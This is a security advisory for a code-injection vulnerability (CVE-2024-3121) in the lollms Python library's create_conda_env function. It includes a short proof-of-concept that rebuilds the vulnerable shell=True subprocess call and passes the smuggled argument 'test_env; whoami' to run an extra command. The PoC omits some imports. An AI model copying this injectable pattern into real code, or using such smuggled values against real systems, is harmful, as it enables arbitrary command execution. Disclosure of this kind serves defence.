Improper Control of Generation of Code ('Code Injection') Affecting lollms package, versions [0,]
Threat Intelligence
Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
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Start learning- Snyk IDSNYK-PYTHON-LOLLMS-7361779
- published30 Jun 2024
- disclosed24 Jun 2024
- creditDarkNinja
Introduced: 24 Jun 2024
CVE-2024-3121 (opens in a new tab)How to fix?
There is no fixed version for lollms.
Overview
lollms is a python library for AI personality definition
Affected versions of this package are vulnerable to Improper Control of Generation of Code ('Code Injection') through the create_conda_env function. An attacker can execute arbitrary commands by manipulating the env_name and python_version parameters.
PoC
import subprocess
import sys
import os
def create_conda_env(env_name, python_version):
# Activate the Conda environment
if platform.system()=="Windows":
conda_path = Path(sys.executable).parent.parent/"miniconda3"/"condabin"/"conda"
else:
conda_path = Path(sys.executable).parent.parent.parent/"miniconda3"/"bin"/"conda"
ASCIIColors.red("Conda path:")
ASCIIColors.yellow(conda_path)
process = subprocess.Popen(f'{conda_path} create --name {env_name} python={python_version} -y', shell=True)
# POC for the remote code execution vulnerability
create_conda_env("test_env; whoami", "3.9")